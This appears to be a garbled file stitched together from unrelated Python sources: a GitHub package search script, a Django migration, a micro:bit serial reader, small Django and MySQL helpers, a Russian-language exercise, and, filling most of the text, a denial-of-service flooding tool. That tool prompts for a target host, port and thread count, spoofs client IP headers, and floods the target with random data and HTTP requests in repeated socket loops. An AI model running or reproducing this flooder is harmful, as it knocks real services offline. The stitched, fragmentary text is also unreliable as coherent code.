= "" ret_packages = "" count = 0 index = 0 def check_package(repo): global ret_me global count global index global ret_packages repo_name = repo["name"] repo_owner = repo["owner"]["login"] repo_info = repo["description"] if repo_info == "": repo_info = "no description" repo_version = "" try: urllib.request.urlretrieve("https://raw.githubusercontent.com/"+repo_owner+"/"+repo_name+"/master/pkg/package.yaml", "/tmp/tridy_tmp_YAML.yaml") for line in open("/tmp/tridy_tmp_YAML.yaml", "r"): if line.startswith("version: \""): repo_version = line.replace("\"", "").replace("version:", "").strip() index += 1 count += 1 except urllib.error.HTTPError: index += 1 return ret_packages += " - "+repo_owner+":"+repo_name+"@github.com#master!"+repo_version+"!"+repo_info+"\n" return def run(): global r global ret_me global index global size try: if r.ok: result = json.loads(r.text or r.content) size = result["total_count"] if size == 0: print("info: no packages found.") ret_me += "return_code: \"0\"\n" return if size > 90: size = 90 for i in range(3): r = requests.get("https://api.github.com/search/repositories?q="+query+"&page="+str(i+1)) result = json.loads(r.text or r.content) for repo in result["items"]: print("info: checking packages "+str(index)+"/"+str(size)) sys.stdout.write("\033[1A") threading.Thread(target=check_package, args=(repo,)).start() print("info: checking packages "+str(index)+"/"+str(size)) if size > 1: sys.stdout.write("\033[1A") while index < size: print("info: checking packages "+str(index)+"/"+str(size)) sys.stdout.write("\033[1A") print("info: checking packages "+str(index)+"/"+str(size)) print("") ret_me += "size: \""+str(count)+"\"\n" ret_me += "return_code: \"0\"\n" if len(ret_packages) > 0: ret_me += "packages: \n" ret_me += ret_packages except KeyError: result = json.loads(r.text or r.content) if result["message"].find("rate limit"): print("info: rate limit exceeded. please try again in a minute.") else: print("error: github said the following:") print(result["message"]) ret_me += "return_code: \"1\"\n" except: ret_me += "return_code: \"1\"\n" run() open("/tmp/tridy_tmp_YAML.yaml", "w").write(ret_me)# Generated by Django 2.1 on 2019-03-01 21:40 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Sertificate', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100, verbose_name='Title')), ('slug', models.SlugField(verbose_name='Slug')), ('body', models.TextField(verbose_name='Text')), ('identificator', models.IntegerField(verbose_name='Identificator')), ('date', models.DateTimeField(auto_now_add=True)), ('thumb', models.ImageField(blank=True, default='', null=True, upload_to='', verbose_name='Image')), ('rating', models.IntegerField(default='0')), ('author', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='Author')), ], ), ] """ usb-receiver.py This is sample code from ' PyCon UK 2016 talk "Where am? What am I doing? Motion Sensor Data Fusion with Python". It receives serial data from a microbit connected to a USB port and prints it to stdout. From here it can be redirected to a text file, etc. Usage: [so far, only tested under Linux] $ python usb-receiver.py Time,AccX,AccY,AccZ,MagX,MagY,MagZ,Heading,Gesture 630894,-144,-144,-992,5025,2712,38849,255,face up 630948,-160,-112,-912,3725,1612,38049,254,face up ... or redirecting to a file: $ python usb-receiver.py > data.csv The accompanying script microbit-logger.py runs on the microbit. - 5 Sep 2016 https://github.com/stevesimmons/pyconuk-motion-sensor-data-fusion """ import logging import serial import serial.tools.list_ports import sys def main(): port = find_microbit() if port: print_from_usb(port) else: sys.stderr.write("Unable to find a microbit on any USB port\n") def find_microbit(serial_number=None): "Name of the first matching micro:bit's serial port, otherwise None." for port in serial.tools.list_ports.comports(): sys.stderr.write("Checking %s" % port.description) if "CMSIS-DAP" in port.product: if serial_number is None or serial_number == port.serial_number: sys.stderr.write("Found microbit %s on %s\n" % (port.serial_number, port.device)) return port.device return None def print_from_usb(port, out=sys.stdout): "Write serial data from USB port to a file, by default sys.stdout." with serial.Serial(port, baudrate=115200, timeout=20) as ser: try: while True: line = ser.readline().decode() out.write(line) except KeyboardInterrupt: pass except: logging.exception("Error") finally: ser.close() if __name__ == '__main__': main() 01-Introductions/02-While_loops/infinite_loop.py #!/usr/bin/python3.4 var = 1 while var == 1 : # This constructs an infinite loop num = input("Enter a number: ") print("You entered: ", num) print("Good bye!") from __future__ import absolute_import from django.views.generic import FormView from django.views.generic import View from _dependencies.this import this def view(injector): """Create Django class-based view from injector class.""" handler = create_handler(View, injector) apply_http_methods(handler, injector) return injector.let(as_view=handler.as_view) def form_view(injector): """Create Django form processing class-based view from injector class.""" handler = create_handler(FormView, injector) apply_form_methods(handler, injector) return injector.let(as_view=handler.as_view) def create_handler(from_class, injector): class Handler(from_class): __doc__ = injector.__doc__ Handler.__name__ = injector.__name__ Handler.__module__ = injector.__module__ return Handler def apply_http_methods(handler, injector): for method in ["get", "post", "put", "patch", "delete", "head", "options", "trace"]: if method in injector: def locals_hack(method=method): def __view(self, request, *args, **kwargs): __tracebackhide__ = True ns = injector.let( view=self, request=request, args=args, kwargs=kwargs, user=this.request.user, pk=this.kwargs["pk"], ) return getattr(ns, method)() return __view setattr(handler, method, locals_hack()) def apply_form_methods(handler, injector): handler.form_class = injector.form_class handler.template_name = injector.template_name for attribute in [ "success_url", "template_engine", "response_class", "content_type", "initial", "prefix", "extra_context", ]: if attribute in injector: setattr(handler, attribute, getattr(injector, attribute)) for method in ["form_valid", "form_invalid"]: if method in injector: def locals_hack(method=method): def __method(self, form): __tracebackhide__ = True ns = injector.let( view=self, form=form, request=this.view.request, args=this.view.args, kwargs=this.view.kwargs, user=this.request.user, pk=this.kwargs["pk"], ) return getattr(ns, method)() return __method setattr(handler, method, locals_hack()) sinri/nehushtannehushtan/mysql/MySQLAnyView.py from nehushtan.mysql.MySQLKit import MySQLKit from nehushtan.mysql.MySQLViewMixin import MySQLViewMixin class MySQLAnyView(MySQLViewMixin): """ Since 0.2.17 """ def __init__(self, mysql_kit: MySQLKit, view_name: str, schema_name: str = ''): super().__init__() self.__mysql_kit = mysql_kit self.__view_name = view_name self.__schema_name = schema_name def __del__(self): """ Since 0.4.10 """ self.__mysql_kit = None def get_mysql_kit(self) -> MySQLKit: return self.__mysql_kit def mapping_table_name(self) -> str: return self.__view_name def mapping_schema_name(self) -> str: return self.__schema_name JaredKerim-Mozilla/ichnaea from datetime import datetime import zlib from pytz import UTC from webob.response import gzip_app_iter def encode_gzip(data): # based on webob.response.Response.encode_content return ''.join(gzip_app_iter(data)) def decode_gzip(data): # based on webob.response.Response.decode_content return zlib.decompress(data, 16 + zlib.MAX_WBITS) def utcnow(): return datetime.utcnow().replace(microsecond=0, tzinfo=UTC) """Дан сложный список категорий товаров ( словарей) для каждой категории существует соответствующий список словарей каждого обьекта товара конкретной категории. Требуется узнать: 1.Самую дорогую категорию товаров. 2. Самую популярную категорию товаров 3. Товар с наименьшей и наибольшей стоимостью. Каждый ответ выводить в таком формате: { ‘most_popular_category’:’total_popularity’""" import pprint data = [ {'dress':[ {'name':'', 'popularity':500, 'price':1000 }, {'name':'versace', 'popularity':21, 'price':888 }, {'name':'supreme', 'popularity':57, 'price':765 }, ] }, {'jeans':[ {'name':'adidas', 'popularity':42, 'price':2300 }, {'name':'armani', 'popularity':67800, 'price':110 }, {'name':'casio', 'popularity':230, 'price':3000 }, ] }, {'t-shirt':[ {'name':'', 'popularity':999, 'price':5000 }, {'name':'lacoste', 'popularity':777, 'price':230 }, {'name':'luxury', 'popularity':876, 'price':2300 }, ] } ] # list1=['dress','jeans','t-shirt'] # i=0 # category_price={} # # pprint.pprint(data[0]['dress'][0]['price']) # for category in data: # # # print(category) # # # print(category.keys()) # category_sum=0 # key=list1[i] # category_value=category[key] # for product in category_value: # category_sum+=product['price'] # category_price[key]=category_sum # i+=1 # print(max(category_price.values()),category_price) # list1=['dress','jeans','t-shirt'] # k=0 # max1=0 # # most_popular_category={} # # for category in data: # category_sum = 0 # key=list1[k] # category_value=category[key] # for product in category_value: # category_sum += product['popularity'] # most_popular_category[key]=category_sum # if most_popular_category[key]>max1: # max1=most_popular_category[key] # if most_popular_category[key]AGidProF/nee0 import random import socket import threading import os import time import random import socket from time import sleep import threading import os, sys import multiprocessing import platform import sys, socket, os, time, random, threading, requests, signal, optparse, re, ctypes from urllib.parse import urlparse import http.client as http # COLORS #################### wi = "\033[1;37m" # >>White# rd = "\033[1;31m" # >Red # gr = "\033[1;32m" # >Green # yl = "\033[1;33m" # >Yellow# ############################# try: import socks, requests, wget, cfscrape, urllib3 except: if sys.platform.startswith("linux"): os.system("pip3 install pysocks requests wget cfscrape urllib3 scapy") elif sys.platform.startswith("freebsd"): os.system("pip3 install pysocks requests wget cfscrape urllib3 scapy") else: os.system("pip install pysocks requests wget cfscrape urllib3 scapy") os.system("clear") print (''' \u001b[31m| \u001b[37mUDP \u001b[31m| \u001b[37mTCP \u001b[31m| \u001b[37mHTTP \u001b[31m| \u001b[31m| \u001b[37mGET \u001b[31m| \u001b[37mPOST \u001b[31m| \u001b[37mHEAD \u001b[31m| ''') choice = str(input(" \u001b[31m>> ¦¦ \u001b[37mChoice :\u001b[31m ")) method = str(input(" \u001b[31m>> ¦¦ \u001b[37mMethods :\u001b[31m ")) ip = str(input(" \u001b[31m>> ¦¦ \u001b[37mHost/Ip :\u001b[31m ")) port = int(input(" \u001b[31m>> ¦¦ \u001b[37mPort :\u001b[31m ")) times = int(input(" \u001b[31m>> ¦¦ \u001b[37mPackets :\u001b[31m ")) threads = int(input(" \u001b[31m>> ¦¦ \u001b[37mThreads :\u001b[31m ")) os.system("clear") print(f""" \033[35m ║ \033[32mIP/DOMAIN \033[36m: \033[32m{ip} \033[35m ║ \033[32mPORTS \033[36m\t:\033[32m {port} \033[35m ║ \033[32mTYPES \033[36m\t: \033[32m{choice} \033[35m ║ \033[32mMETHODS \033[36m:\033[32m {method} \033[35m """) sleep(2) #HTTP def spoofer(): addr = [192, 168, 0, 1] d = '.' addr[0] = str(random.randrange(11, 197)) addr[1] = str(random.randrange(0, 255)) addr[2] = str(random.randrange(0, 255)) addr[3] = str(random.randrange(2, 254)) assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3] return assemebled useragents = [ 'Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1', 'Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1', 'Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1', 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0', 'Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1'] acceptall = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n', 'Accept-Encoding: gzip, deflate\r\n' ] referers = ['Your_Being_Attacked_By_AGanz_Aja'] def Headers(method): header = "" if method == "get" or method == "head": post_host = "POST /GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n" connection = "Connection: Keep-Alive\r\n" accept = random.choice(acceptall) + "\r\n" content = "Content-Type: application/x-www-form-urlencoded\r\nX-Requested-With: XMLHttpRequest\r\n charset=utf-8\r\n" referer = "Referer: " + random.choice(referers) + ip + "\r\n" connection += "Cache-Control: max-age=0\r\n" connection += "pragma: no-cache\r\n" connection += "X-Forwarded-For: " + spoofer() + "\r\n" randomip = str(random.randint(1,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) forward = "X-Forwarded-For: 1\r\n" forward += "Client-IP: 10000\r\n" length = "Content-Length: 0 \r\nConnection: Keep-Alive\r\n" useragent = "User-Agent: " + random.choice(useragents) + "\r\n" header = post_host + referer + forward + useragent + accept + content + connection + length + "\r\n\r\n" return header if sys.platform.startswith("linux"): pass elif sys.platform.startswith("freebsd"): pass else: os.system('color ' +random.choice(['a', 'b', 'c', 'd'])+ " & cls & title DDOS") def http(): header = Headers("get") i = random.choice(("[HTTP]","[TCP]","[BRUTE]")) data = random._urandom(90048) if method == "get": get_host = "GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n" request = get_host + header + "\r\n" else: get_host = random.choice(['GET','POST','HEAD']) + " /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n" request = get_host + header + "\r\n" while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((ip,port)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) for x in range(times): s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) 